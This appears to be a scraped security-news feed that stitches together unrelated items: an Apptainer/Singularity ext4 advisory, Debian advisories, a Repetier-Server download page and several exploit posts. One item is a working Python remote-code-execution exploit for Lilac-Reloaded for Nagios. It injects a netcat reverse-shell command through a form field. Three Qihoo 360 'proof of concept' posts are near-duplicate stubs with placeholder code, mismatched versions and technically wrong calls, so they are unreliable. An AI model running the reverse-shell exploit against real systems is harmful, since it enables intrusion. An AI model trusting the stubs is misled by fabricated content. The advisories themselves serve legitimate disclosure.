### Impact
There is an ext4 use-after-free flaw described in CVE-2022-1184 that is exploitable through versions of Apptainer < 1.1.0, installations that include apptainer-suid < 1.1.8, and all versions of Singularity in their default configurations on older operating systems where that CVE has not been patched.  That includes Red Hat Enterprise Linux 7, Debian 10 buster (unless the linux-5.10 package is installed), Ubuntu 18.04 bionic and Ubuntu 20.04 focal.  Use-after-free flaws in the kernel can be used to attack the kernel for denial of service and potentially for privilege escalation.

### Background
Historically there have been many CVEs published for extfs and a smaller number for squashfs, including serious use-after-free and buffer overrun vulnerabilities, that are scored as "Moderate" or "Low" impact only because unprivileged users were assumed to not have write access to the raw data.  Because of those ratings, vendors treat such CVEs as low urgency and either delay a patch until their next major release or never patch older but still supported operating systems at all.  Many Linux distributions automatically mount user-writable USB-drive volumes, but those are considered low risk because they require physical access to the machine.  However, since setuid-root installations of Apptainer and Singularity by default allow all users to mount any extfs (specifically, ext3, which is implemented by the ext4 driver) and squashfs filesystem using kernel drivers even though the users have write access to the raw data, the setuid-root installations raise the severity of such unpatched CVEs.  

CVE-2022-1184 is currently such an unpatched CVE, at least on the above listed operating systems.  The descriptions from the operating system vendors about the CVE (referenced below) are incomplete, saying only that it allows a local attacker with user privilege to cause a denial of service.  Normally users would not be able to cause it because they cannot modify the filesystem image, and normally vulnerabilities that involve kernel memory corruption by unprivileged users are considered high severity even when there is not yet a known privilege escalation because someone with sufficient kernel knowledge can usually turn such a corruption into a privilege escalation. 

Red Hat did not list RHEL7 as vulnerable, but they also did not list it as unaffected, and testing confirmed that a filesystem image could be corrupted to get past the check inserted into the filesystem driver to fix the vulnerability (patches linked below).

All published squashfs CVEs have been patched in currently supported major operating systems.

### Patches
Apptainer 1.1.8 includes a patch that by default disables mounting of extfs filesystem types in setuid-root mode, while continuing to allow mounting of extfs filesystems in non-setuid "rootless" mode using fuse2fs.

### Workarounds
These workarounds are possible:
1. Either do not install apptainer-suid (for versions 1.1.0 through 1.1.7) or set `allow setuid = no` in apptainer.conf (or singularity.conf for singularity versions).  This requires having unprivileged user namespaces enabled and except for apptainer 1.1.x versions will disallow mounting of sif files, extfs files, and squashfs files in addition to other, less significant impacts.  (Encrypted sif files are also not supported unprivileged in apptainer 1.1.x.)
2. Alternatively, use the `limit containers` options in apptainer.conf/singularity.conf to limit sif files to trusted users, groups, and/or paths.  (The option `allow container extfs = no` disallows mounting extfs overlay files but does not disallow mounting of extfs overlay partitions inside SIF files, so it does not help work around the problem.)

**Impact**

There is an ext4 use-after-free flaw described in CVE-2022-1184 that is exploitable through versions of Apptainer < 1.1.0, installations that include apptainer-suid < 1.1.8, and all versions of Singularity in their default configurations on older operating systems where that CVE has not been patched. That includes Red Hat Enterprise Linux 7, Debian 10 buster (unless the linux-5.10 package is installed), Ubuntu 18.04 bionic and Ubuntu 20.04 focal. Use-after-free flaws in the kernel can be used to attack the kernel for denial of service and potentially for privilege escalation.

**Background**

Historically there have been many CVEs published for extfs and a smaller number for squashfs, including serious use-after-free and buffer overrun vulnerabilities, that are scored as "Moderate" or "Low" impact only because unprivileged users were assumed to not have write access to the raw data. Because of those ratings, vendors treat such CVEs as low urgency and either delay a patch until their next major release or never patch older but still supported operating systems at all. Many Linux distributions automatically mount user-writable USB-drive volumes, but those are considered low risk because they require physical access to the machine. However, since setuid-root installations of Apptainer and Singularity by default allow all users to mount any extfs (specifically, ext3, which is implemented by the ext4 driver) and squashfs filesystem using kernel drivers even though the users have write access to the raw data, the setuid-root installations raise the severity of such unpatched CVEs.

CVE-2022-1184 is currently such an unpatched CVE, at least on the above listed operating systems. The descriptions from the operating system vendors about the CVE (referenced below) are incomplete, saying only that it allows a local attacker with user privilege to cause a denial of service. Normally users would not be able to cause it because they cannot modify the filesystem image, and normally vulnerabilities that involve kernel memory corruption by unprivileged users are considered high severity even when there is not yet a known privilege escalation because someone with sufficient kernel knowledge can usually turn such a corruption into a privilege escalation.

Red Hat did not list RHEL7 as vulnerable, but they also did not list it as unaffected, and testing confirmed that a filesystem image could be corrupted to get past the check inserted into the filesystem driver to fix the vulnerability (patches linked below).

All published squashfs CVEs have been patched in currently supported major operating systems.

**Patches**

Apptainer 1.1.8 includes a patch that by default disables mounting of extfs filesystem types in setuid-root mode, while continuing to allow mounting of extfs filesystems in non-setuid "rootless" mode using fuse2fs.

**Workarounds**

These workarounds are possible:

1.  Either do not install apptainer-suid (for versions 1.1.0 through 1.1.7) or set allow setuid = no in apptainer.conf (or singularity.conf for singularity versions). This requires having unprivileged user namespaces enabled and except for apptainer 1.1.x versions will disallow mounting of sif files, extfs files, and squashfs files in addition to other, less significant impacts. (Encrypted sif files are also not supported unprivileged in apptainer 1.1.x.)
2.  Alternatively, use the limit containers options in apptainer.conf/singularity.conf to limit sif files to trusted users, groups, and/or paths. (The option allow container extfs = no disallows mounting extfs overlay files but does not disallow mounting of extfs overlay partitions inside SIF files, so it does not help work around the problem.)

**References**

*   GHSA-j4rf-7357-f4cg
*   https://nvd.nist.gov/vuln/detail/CVE-2022-1184
*   torvalds/linux@61a1d87
*   torvalds/linux@65f8ea4
*   https://access.redhat.com/security/cve/cve-2022-1184
*   https://security-tracker.debian.org/tracker/CVE-2022-1184
*   https://ubuntu.com/security/CVE-2022-1184

GHSA-j4rf-7357-f4cg: Unpatched extfs vulnerabilities are exploitable through suid-mode Apptainer and Singularity

Debian Linux Security Advisory 5393-1 - Multiple security issues were discovered in Chromium, which could result in the execution of arbitrary code, denial of service or information disclosure.

    -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA512- -------------------------------------------------------------------------Debian Security Advisory DSA-5393-1                   security@debian.orghttps://www.debian.org/security/                       Moritz MuehlenhoffApril 22, 2023                        https://www.debian.org/security/faq- -------------------------------------------------------------------------Package        : chromiumCVE ID         : CVE-2023-2133 CVE-2023-2134 CVE-2023-2135 CVE-2023-2136                  CVE-2023-2137Multiple security issues were discovered in Chromium, which could resultin the execution of arbitrary code, denial of service or informationdisclosure.For the stable distribution (bullseye), these problems have been fixed inversion 112.0.5615.138-1~deb11u1.We recommend that you upgrade your chromium packages.For the detailed security status of chromium please refer toits security tracker page at:https://security-tracker.debian.org/tracker/chromiumFurther information about Debian Security Advisories, how to applythese updates to your system and frequently asked questions can befound at: https://www.debian.org/security/Mailing list: debian-security-announce@lists.debian.org-----BEGIN PGP SIGNATURE-----iQIzBAEBCgAdFiEEtuYvPRKsOElcDakFEMKTtsN8TjYFAmREBtkACgkQEMKTtsN8TjZHjA//Xt54GrjHMIT1eis48gYiXhfhUxNl1MiA4eeSYFJuidwGLoZbG8AGmT+2OHUvwjOCiJ4RHV06fnpPuftn95Q9Ehz79WkNeeZSIKCuZPeNK6u6c2LZv3enU3ojFejG5y6k/L6kwBx7VUPNnvraZVZcB0zwbL/f9B5wXgAwluxqynyX3vZBPRjTsJATLQs/PMhx7wWVFXspQjIm6+9bVySuNEsIUTIsDNnRlLnSVler3THdcmlHLBVDU1Qb3CIN6bAzDDnJSOUQIHWKIPLSr84ygeT6n0/eeC7qzqJ4WvG7TKhsyXrH1z+XzRdMFajVDrOhYmofmRG4WgyXibcOfi0eR7aEahNVG4aLZlP+hZvKDlDrSJ5kzI8IH4NaXZid9IGZaOXvxKaTOsKaBuC3uHDlWny1aU5MBb/itSeYbXmNVzIip7BJ10wG9rjaQ4d6VEbrMDEEWy5rqP1PUexW5wNDAwNhMHhV2pgPHnDzkC3ScQM6uN4X2vxs58oGMaSsjqjYpR5MOIEoh2SnNdz4NDXxjP8+bdpOu7MOIh4nYBC/zcWf84DgeMq1tv3RR2LDXfwdMZyxlZc7thPvtZhXfUsDJRX38LD0S0B4JR1ERRqYerpj3ixAuOk6OyyJA0CcdiI1Yave1rFGzjzitxYkpgYG+uRYa/GWgDOuG1Ebbk6R2cE==vqQn-----END PGP SIGNATURE-----

Debian Security Advisory 5393-1

Debian Linux Security Advisory 5392-1 - Multiple security issues were discovered in Thunderbird, which could result in denial of service or the execution of arbitrary code.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA512

- -------------------------------------------------------------------------  
Debian Security Advisory DSA-5392-1                   security@debian.org  
https://www.debian.org/security/                       Moritz Muehlenhoff  
April 22, 2023                        https://www.debian.org/security/faq  
- -------------------------------------------------------------------------

Package        : thunderbird  
CVE ID         : CVE-2023-0547 CVE-2023-1945 CVE-2023-28427 CVE-2023-29479   
                 CVE-2023-29533 CVE-2023-29535 CVE-2023-29536 CVE-2023-29539   
                 CVE-2023-29541 CVE-2023-29548 CVE-2023-29550

Multiple security issues were discovered in Thunderbird, which could  
result in denial of service or the execution of arbitrary code.

For the stable distribution (bullseye), these problems have been fixed in  
version 1:102.10.0-1~deb11u1.

We recommend that you upgrade your thunderbird packages.

For the detailed security status of thunderbird please refer to  
its security tracker page at:  
https://security-tracker.debian.org/tracker/thunderbird

Further information about Debian Security Advisories, how to apply  
these updates to your system and frequently asked questions can be  
found at: https://www.debian.org/security/

Mailing list: debian-security-announce@lists.debian.org  
-----BEGIN PGP SIGNATURE-----

iQIzBAEBCgAdFiEEtuYvPRKsOElcDakFEMKTtsN8TjYFAmREBsEACgkQEMKTtsN8  
TjZX4w/+OuttNpDWu8m7daY/USfgb3U7pVI+wbMrqMKxSjQ6BRCUaCcXN1VXZpXn  
cOGTqSoFB+qBgYrSjJ0buH9L1yWAQXfaw43wF9eDAfRZB1Svzhl+W164GGks1YKZ  
9WbJ255lvCuXuNbmP+I1xYtuN5epP1saNAET/3HDkJUbXre5T3wdGCjgJnfyE6vf  
JhAwqVYEbOabRisnEhkP67yHk6mEz2QzH+KbbxyS7hCHp+I4RIMNhxPeoPb2Mn/t  
3oja8bC1WGpJaOaQy99UlCD11L8li30LbVb95V8l91tVzbXJwfOCmdjdRp+8/xA/  
fSpNdjCa7rbX8FWeU/FNunia/KkkJgc3qa65+e0muq99gdBk/+1HrrysjZt2oya5  
/vOMLjDfRmfqyB2fn65Isl2PhJnJN9EtPXeEFGLGNmRfqVlg2w4qXm2UUGDPmeuF  
rQrsYJ7YLLfQp7JejtNbPZbH+csEXFn2DRVv9YdOX5/H+a/boqe0h+9Wtmywzfw1  
uH+A5iY5JyLhknMyzfopCfpZIcV4ieRxeOdKvkUom67zKr2OAigSGxpz7EFdnunn  
gITqkbFqHtdjcCq/Vuj+vlfcUP7iLrWNSR9FZc9k9QcN0kaot8CqUmXF4zjkH/le  
sZMm+pcds9XpShSb3SXatKj3YY/O+DbHEcuKFSjg6DSHwEz4GLI=  
=tV7a  
-----END PGP SIGNATURE-----

Debian Security Advisory 5392-1

Repetier Server through 1.4.10 does not have CSRF protection.

Here you can download the free version of Repetier-Server. To get the Pro version with all features, you just have to enter your Repetier-Server Pro license code you can get here. Repetier-Server Monitor is always free.

** Repetier-Server 1.4.10**

**After installing Repetier-Server you can activate a completely free test period of 14 days to test out all Pro features. If you are satisfied, we are happy if you decide for a Pro version and support this project.**

**Download Older Versions**

**Show Changelog**

**Which version is the right?**

For the linux versions we currently only have Debian installer which work with all newer Debian like distributions like Ubuntu as long as your libc version is greater equal the used version. See table below:

*   **Linux 32 bit Intel (intel32):** libc 2.19 like used in Ubuntu 14.04LTS
*   **Linux 64 bit Intel (amd64):** libc 2.13 like used in Debian Wheezy
*   **Linux 32 bit ARM (armhf):** libc 2.16 like used in Debian Jessie. Use armel if you have a older libc.
*   **Linux 64 bit ARM (armhf 64 bit):** libc 2.23 like used in Ubuntu 16.04
*   **Linux 32 bit ARM (armel):** libc 2.13 like on Raspberry-Pi Raspian
*   **Windows: Vista, 7, 10 and 11**
*   **Mac: OS X 10.13 or later**

For the arm boards we have two versions depending on the arm architecture. The widespread Raspberry-PI uses the armel version. Boards with better hardware like Beagle bon black should use the faster armhf version.

For update informations, please check out our changelog.

** Repetier-Server Monitor 1.4.5**

Free desktop app to connect multiple Repetier-Server PRO or OEM instances at once with additional functions like easy g-code upload from any slicer, Repetier-Server backup, …  
Read more …

**Show Changelog**

**System requirements**

*   Windows 7 and higher (64 bit), Mac OS X 10.10 and higher and Linux (64 bit)
*   200 MB disc storage
*   The current version of Repetier-Server
*   If under linux the screen is empty add –disable-gpu as parameter. Happens especially under virtual machines.

**Troubleshooting:**

If you have any problems with our software, here you will find help:

*   Manual including installation instructions and other documentations
*   Frequently askes questions
*   Our forum for answers and questions not covered in the above sources

**Notice for Raspberry Pi users**

The Pi is very power sensitive. If it does not receive stable 5V, you may experience stability issues like bad connections or temperature errors. Use a solid 3A power supply, best with 5.1 V output. Also a cheap usb cable with thin wires can cause voltage loss. We recommend an AWG20 USB cable.

More information

CVE-2023-31061: Download - Repetier-Server

Debian Linux Security Advisory 5391-1 - Several vulnerabilities were discovered in libxml2, a library providing support to read, modify and write XML and HTML files.

    -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA512- -------------------------------------------------------------------------Debian Security Advisory DSA-5391-1                   security@debian.orghttps://www.debian.org/security/                     Salvatore BonaccorsoApril 20, 2023                        https://www.debian.org/security/faq- -------------------------------------------------------------------------Package        : libxml2CVE ID         : CVE-2023-28484 CVE-2023-29469Debian Bug     : 1034436 1034437Several vulnerabilities were discovered in libxml2, a library providingsupport to read, modify and write XML and HTML files.CVE-2023-28484    A NULL pointer dereference flaw when parsing invalid XML schemas may    result in denial of service.CVE-2023-29469    It was reported that when hashing empty strings which aren't    null-terminated, xmlDictComputeFastKey could produce inconsistent    results, which may lead to various logic or memory errors.For the stable distribution (bullseye), these problems have been fixed inversion 2.9.10+dfsg-6.7+deb11u4.We recommend that you upgrade your libxml2 packages.For the detailed security status of libxml2 please refer to its securitytracker page at:https://security-tracker.debian.org/tracker/libxml2Further information about Debian Security Advisories, how to applythese updates to your system and frequently asked questions can befound at: https://www.debian.org/security/Mailing list: debian-security-announce@lists.debian.org-----BEGIN PGP SIGNATURE-----iQKTBAEBCgB9FiEERkRAmAjBceBVMd3uBUy48xNDz0QFAmRBo8BfFIAAAAAALgAoaXNzdWVyLWZwckBub3RhdGlvbnMub3BlbnBncC5maWZ0aGhvcnNlbWFuLm5ldDQ2NDQ0MDk4MDhDMTcxRTA1NTMxRERFRTA1NENCOEYzMTM0M0NGNDQACgkQBUy48xNDz0SJJg//UIK3AxfSJq/tbbIu1hav33WMU6LMM0Jg/eEFB6gY4NFM45GMFn4UuSVbuenD4Nx5CyRnahhypbxzZdsVO9DjrAGjBpoyjlOHNQPddHRYbujZU0gVHwfam50fKJjdnkzFwsxkTOwF0UloNwqAvBUp2LG5Eqjz1CPvcbAAyRYIyyYdj3uLRuz/Zv8J6z/nvDndCsN4RWqioGvaH084Y0QsmkGV7devmEDZ9ybiiGBQ4Dq3H2aTMYwx63McN7kbcGEZiuBT4S5fZXzmlH5lEKjlSbOzhqXyL4UxnrXs7RaAc+qqamokTKyy2hzfaW7zoEPymSl7Zoix3r8BR4GZs6HlPUhwOdnuRhqqOzF1Q2qmefj5GtlmuhtSmZKan8AdLuFEp42Rxii6u8UJZ7RS3lqH70RgMgBKtjLD4TX6RpisSwGzrjKh7AonFLPFeaEXbABD8/wTePQCbzYNn8xWgkT8A4a3PRnQEwFJO51ajhx772O9XepqSh46INnxraxFAyOPveHXfi+6msmP7gf5TxNa9FA69eQOoyZJpMxlm8u4DvPNPN75TdA4alMDg5l41yCec745vFt1lhBHki//CTey7NCi5ElqBKlvoQV7SgIUeHW5U6TWDgWTTfZN69MWFk14M7ddEP+0cckyTcHun2vid7dm84iEwwbg0dMHcmpDV1Y==btNX-----END PGP SIGNATURE-----

Debian Security Advisory 5391-1

Lilac-Reloaded for Nagios version 2.0.l8 remote code execution exploit.

    #!/usr/bin/env python"""# Exploit Title: Lilac-Reloaded for Nagios 2.0.8 - Remote Code Execution (RCE)# Google Dork: N/A# Date: 2023-04-13# Exploit Author: max / Zoltan Padanyi# Vendor Homepage: https://exchange.nagios.org/directory/Addons/Configuration/Lilac-2DReloaded/visit# Software Link: https://sourceforge.net/projects/lilac--reloaded/files/latest/download# Version: 2.0.8# Tested on: Debian 7.6# CVE : N/AThe autodiscovery feature lacks any kind of input filtering, so we can add our own commands there terminated with a ;Use at your own risk!RCA - wild exec is ongoing without any filteringin library/Net/Traceroute.php   181      function _setTraceroutePath($sysname)   182      {   183          $status    = '';   184          $output    = array();   185          $traceroute_path = '';   186   187          if ("windows" == $sysname) {   188              return "tracert";   189          } else {   190              $traceroute_path = exec("which traceroute", $output, $status);   [...]   257      function traceroute($host)   258      {   259   260          $argList = $this->_createArgList();   261          $cmd = $this->_traceroute_path." ".$argList[0]." ".$host." ".$argList[1];   262          exec($cmd, $this->_result);"""import requestsimport argparseparser = argparse.ArgumentParser()parser.add_argument("-u", "--url", help="The full path of the autodiscover.php in lilac (i.e. http://127.0.0.1/lilac/autodiscovery.php", required=True)parser.add_argument("-i", "--ip", help="Listener IP", required=True)parser.add_argument("-p", "--port", help="Listener port", required=True, type=int)args = parser.parse_args()rev_shell = f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {args.ip} {args.port} >/tmp/f;"body = {"request":"autodiscover","job_name":"HackThePlanet","job_description":"HackThePlanet","nmap_binary":rev_shell,"default_template":"","target[2]":"1.1.1.1"}try:    r = requests.get(args.url)    if r.ok:      print("[+] URL looks good...moving forward...")      print("[+] Sending exploit in...")      r = requests.post(args.url,data=body)      if r.ok:        print("[+] Got HTTP 200, check your listener!")    else:      print("[-] Some kind of error happened, check the http response below!")      print(r.text)except Exception as e:  print("General exception: " + str(e))

Lilac-Reloaded For Nagios 2.0.8 Remote Code Execution

Buffer Overflow vulnerability in Qihoo 360 Chrome v13.0.2170.0 allows attacker to escalate priveleges.

1.  \# Exploit Title: Qihoo 360 Chrome v12.0.1592.0 - RCE with Sandbox Escape
    
2.  \# Google Dork: N/A
    
3.  \# Date: 2021-05-11
    
4.  \# Exploit Author: youtube.com/@memorycorruptor
    
5.  \# Vendor Homepage: https://browser.360.cn/ee/
    
6.  \# Version: Qihoo 360 Chrome v13.0.2170.0
    
7.  \# Tested on: Windows x64 / Linux Debian x64 / MacOS
    
8.  \# CVE: CVE-2021-33970
    
9.  \# PoC Video: https://www.youtube.com/@memorycorruptor/videos
    
10.  \# Description: https://memorycorruptor.blogspot.com/p/vulnerabilities-disclosures.html
    
11.  \---------------------------------------------------------------------------
    

13.  Qihoo 360 Chrome v13.0.2170.0 is a web browser built on the Chrome engine, specifically using the V8 JavaScript engine. A recently discovered RCE vulnerability within this version allows attackers to execute arbitrary code on a victim's computer remotely.
    

15.  The vulnerability exists in the V8 JavaScript engine, a critical component of Qihoo 360 Chrome v13.0.2170.0. It was discovered in 2021 and is a result of a type confusion issue. This issue occurs when the V8 engine improperly handles certain JavaScript objects, leading to memory corruption and potentially allowing an attacker to execute arbitrary code.
    

17.  function trigger() {
    
18.  let o = {a: 1};
    
19.  let p = new Proxy(o, {});
    
20.  p.\_\_proto\_\_ = {};
    
21.  p.\_\_proto\_\_.x = 0;
    

23.  let b = new ArrayBuffer(8);
    
24.  let f64 = new Float64Array(b);
    
25.  let u32 = new Uint32Array(b);
    

27.  function ftoi(val) {
    
28.  f64\[0\] = val;
    
29.  return BigInt(u32\[0\]) + (BigInt(u32\[1\]) << 32n);
    
30.  }
    

32.  function itof(val) {
    
33.  u32\[0\] = Number(val & 0xffffffffn);
    
34.  u32\[1\] = Number(val >> 32n);
    
35.  return f64\[0\];
    
36.  }
    

38.  function addrof(obj) {
    
39.  o.a = obj;
    
40.  return ftoi(p.x);
    
41.  }
    

43.  // Exploit code goes here
    
44.  }
    

46.  trigger();
    

48.  This PoC code first sets up a type confusion situation in the V8 engine by creating a proxy object and modifying its \_\_proto\_\_ property. The addrof function then leaks the address of an object by causing the type confusion. The ftoi and itof functions are used to convert between floating-point and integer representations, which are essential for exploiting this vulnerability.
    

50.  The RCE vulnerability can allow an attacker to execute arbitrary code on the victim's computer, potentially leading to data theft, unauthorized access, or other malicious actions. Users should update to the latest version of Qihoo 360 Chrome or an alternative browser to mitigate this vulnerability. Browser developers should apply patches to the V8 engine and ensure that proper handling of JavaScript objects is implemented to prevent such issues in the future.
    

52.  \---------------------------------------------------------------------------

CVE-2021-33970: CVE-2021-33970 - Pastebin.com

Buffer Overflow vulnerability in Qihoo 360 Total Security v10.8.0.1060 and v10.8.0.1213 allows attacker to escalate privileges.

1.  \# Exploit Title: Qihoo 360 Safe Browser v13.0.2170.0 - RCE with Sandbox Escape
    
2.  \# Google Dork: N/A
    
3.  \# Date: 2021-05-11
    
4.  \# Exploit Author: youtube.com/@memorycorruptor
    
5.  \# Vendor Homepage: https://browser.360.cn/se/ & https://browser.360.cn/ee/
    
6.  \# Version: Qihoo 360 Safe Browser v13.0.2170.0
    
7.  \# Tested on: Windows x64 / Linux Debian x64 / MacOS
    
8.  \# CVE: CVE-2021-33975
    
9.  \# PoC Video: https://www.youtube.com/@memorycorruptor/videos
    
10.  \# Description: https://memorycorruptor.blogspot.com/p/vulnerabilities-disclosures.html
    
11.  \---------------------------------------------------------------------------
    
12.  Qihoo 360 Safe Browser v13.0.2170.0 is a web browser built on the Chrome engine, specifically using the V8 JavaScript engine. A recently discovered RCE vulnerability within this version allows attackers to execute arbitrary code on a victim's computer remotely.
    

14.  The vulnerability exists in the V8 JavaScript engine, a critical component of Qihoo 360 Safe Browser v13.0.2170.0. It was discovered in 2021 and is a result of a type confusion issue. This issue occurs when the V8 engine improperly handles certain JavaScript objects, leading to memory corruption and potentially allowing an attacker to execute arbitrary code.
    

16.  function trigger() {
    
17.  let o = {a: 1};
    
18.  let p = new Proxy(o, {});
    
19.  p.\_\_proto\_\_ = {};
    
20.  p.\_\_proto\_\_.x = 0;
    

22.  let b = new ArrayBuffer(8);
    
23.  let f64 = new Float64Array(b);
    
24.  let u32 = new Uint32Array(b);
    

26.  function ftoi(val) {
    
27.  f64\[0\] = val;
    
28.  return BigInt(u32\[0\]) + (BigInt(u32\[1\]) << 32n);
    
29.  }
    

31.  function itof(val) {
    
32.  u32\[0\] = Number(val & 0xffffffffn);
    
33.  u32\[1\] = Number(val >> 32n);
    
34.  return f64\[0\];
    
35.  }
    

37.  function addrof(obj) {
    
38.  o.a = obj;
    
39.  return ftoi(p.x);
    
40.  }
    

42.  // Exploit code goes here
    
43.  }
    

45.  trigger();
    

47.  This PoC code first sets up a type confusion situation in the V8 engine by creating a proxy object and modifying its \_\_proto\_\_ property. The addrof function then leaks the address of an object by causing the type confusion. The ftoi and itof functions are used to convert between floating-point and integer representations , which are essential for exploiting this vulnerability.
    

49.  The RCE vulnerability can allow an attacker to execute arbitrary code on the victim's computer, potentially leading to data theft, unauthorized access, or other malicious actions. Users should update to the latest version of Qihoo 360 Chrome or an alternative browser to mitigate this vulnerability. Browser developers should apply patches to the V8 engine and ensure that proper handling of JavaScript objects is implemented to prevent such issues in the future.
    
50.  \---------------------------------------------------------------------------

CVE-2021-33975: CVE-2021-33975 - Pastebin.com

Buffer Overflow vulnerability in Qihoo 360 Safe guard v12.1.0.1004, v12.1.0.1005, v13.1.0.1001 allows attacker to escalate priveleges.

1.  \# Exploit Title: 360 Total Security 10.8.0.1213 Local Privilege Escalation
    
2.  \# Google Dork: N/A
    
3.  \# Date: 2021-05-11
    
4.  \# Exploit Author: youtube.com/@memorycorruptor
    
5.  \# Vendor Homepage: http://www.360totalsecurity.com/
    
6.  \# Version: 360 Total Security 10.8.0.1213
    
7.  \# Tested on: Windows x64 / Linux Debian x64 / MacOS
    
8.  \# CVE: CVE-2021-33973
    
9.  \# PoC Video: https://www.youtube.com/@memorycorruptor/videos
    
10.  \# Description: https://memorycorruptor.blogspot.com/p/vulnerabilities-disclosures.html
    
11.  \---------------------------------------------------------------------------
    
12.  Elevation of Privilege (EOP) Vulnerability in 360 Total Security 10.8.0.1213
    

14.  A Local Privilege Escalation vulnerability in 360 Total Security 10.8.0.1213, which allows the antivirus software to execute actions with system-level privileges while running under standard user privileges, The vulnerability is similar to a Windows kernel vulnerability discovered in 2021.
    

16.  Introduction
    
17.  360 Total Security 10.8.0.1213 is an antivirus software that provides protection against various threats. A recently discovered LPE/EOP vulnerability in the software allows it to perform actions with system-level privileges while running under standard user privileges. This article analyzes this vulnerability and provides a PoC to demonstrate the exploit.
    

19.  Vulnerability
    
20.  The LPE/EOP vulnerability in 360 Total Security 10.8.0.1213 is similar to a Windows kernel vulnerability discovered in 2021. It allows the antivirus software to perform actions with system-level privileges, bypassing the usual security checks in Windows. This can lead to unauthorized access, data theft, or other malicious actions.
    

22.  Proof of Concept
    

24.  #include <Windows.h>
    
25.  #include <stdio.h>
    

27.  int main() {
    
28.  // Load the vulnerable driver
    
29.  HMODULE hDriver = LoadLibrary("360TotalSecurity.sys");
    
30.  if (!hDriver) {
    
31.  printf("Failed to load driver: %d\\n", GetLastError());
    
32.  return 1;
    
33.  }
    

35.  // Get address
    
36.  FARPROC pVulnFunc = GetProcAddress(hDriver, "VulnerableFunction");
    
37.  if (!pVulnFunc) {
    
38.  printf("Failed to get function address: %d\\n", GetLastError());
    
39.  FreeLibrary(hDriver);
    
40.  return 1;
    
41.  }
    

43.  // Exploit code
    

45.  pVulnFunc(/\* Crafted argument \*/);
    

48.  FreeLibrary(hDriver);
    
49.  return 0;
    
50.  }
    

52.  the vulnerable driver (360TotalSecurity.sys) and retrieves the address of the vulnerable function. The exploit code should be placed where indicated, and the vulnerable function should be called with a crafted argument to trigger the LPE/EOP vulnerability.
    
53.  \---------------------------------------------------------------------------

CVE-2021-33973: CVE-2021-33973 - Pastebin.com

Buffer Overflow vulnerability in Qihoo 360 Safe Browser v13.0.2170.0 allows attacker to escalate priveleges.

1.  \# Exploit Title: Qihoo 360 Safe Browser v12.3.1611.0 - RCE with Sandbox Escape
    
2.  \# Google Dork: N/A
    
3.  \# Date: 2021-05-11
    
4.  \# Exploit Author: youtube.com/@memorycorruptor
    
5.  \# Vendor Homepage: https://browser.360.cn/se/
    
6.  \# Version: Qihoo 360 Safe Browser v13.0.2170.0
    
7.  \# Tested on: Windows x64 / Linux Debian x64 / MacOS
    
8.  \# CVE: CVE-2021-33972
    
9.  \# PoC Video: https://www.youtube.com/@memorycorruptor/videos
    
10.  \# Description: https://memorycorruptor.blogspot.com/p/vulnerabilities-disclosures.html
    
11.  \---------------------------------------------------------------------------
    
12.  Qihoo 360 Safe Browser v12.3.1611.0 is a web browser built on the Chrome engine, specifically using the V8 JavaScript engine. A recently discovered RCE vulnerability within this version allows attackers to execute arbitrary code on a victim's computer remotely.
    

14.  The vulnerability exists in the V8 JavaScript engine, a critical component of Qihoo 360 Safe Browser v12.3.1611.0. It was discovered in 2021 and is a result of a type confusion issue. This issue occurs when the V8 engine improperly handles certain JavaScript objects, leading to memory corruption and potentially allowing an attacker to execute arbitrary code.
    

16.  function trigger() {
    
17.  let o = {a: 1};
    
18.  let p = new Proxy(o, {});
    
19.  p.\_\_proto\_\_ = {};
    
20.  p.\_\_proto\_\_.x = 0;
    

22.  let b = new ArrayBuffer(8);
    
23.  let f64 = new Float64Array(b);
    
24.  let u32 = new Uint32Array(b);
    

26.  function ftoi(val) {
    
27.  f64\[0\] = val;
    
28.  return BigInt(u32\[0\]) + (BigInt(u32\[1\]) << 32n);
    
29.  }
    

31.  function itof(val) {
    
32.  u32\[0\] = Number(val & 0xffffffffn);
    
33.  u32\[1\] = Number(val >> 32n);
    
34.  return f64\[0\];
    
35.  }
    

37.  function addrof(obj) {
    
38.  o.a = obj;
    
39.  return ftoi(p.x);
    
40.  }
    

42.  // Exploit code goes here
    
43.  }
    

45.  trigger();
    

47.  This PoC code first sets up a type confusion situation in the V8 engine by creating a proxy object and modifying its \_\_proto\_\_ property. The addrof function then leaks the address of an object by causing the type confusion. The ftoi and itof functions are used to convert between floating-point and integer representations, which are essential for exploiting this vulnerability.
    

49.  The RCE vulnerability can allow an attacker to execute arbitrary code on the victim's computer, potentially leading to data theft, unauthorized access, or other malicious actions. Users should update to the latest version of Qihoo 360 Chrome or an alternative browser to mitigate this vulnerability. Browser developers should apply patches to the V8 engine and ensure that proper handling of JavaScript objects is implemented to prevent such issues in the future.
    
50.  \---------------------------------------------------------------------------

Tag

#debian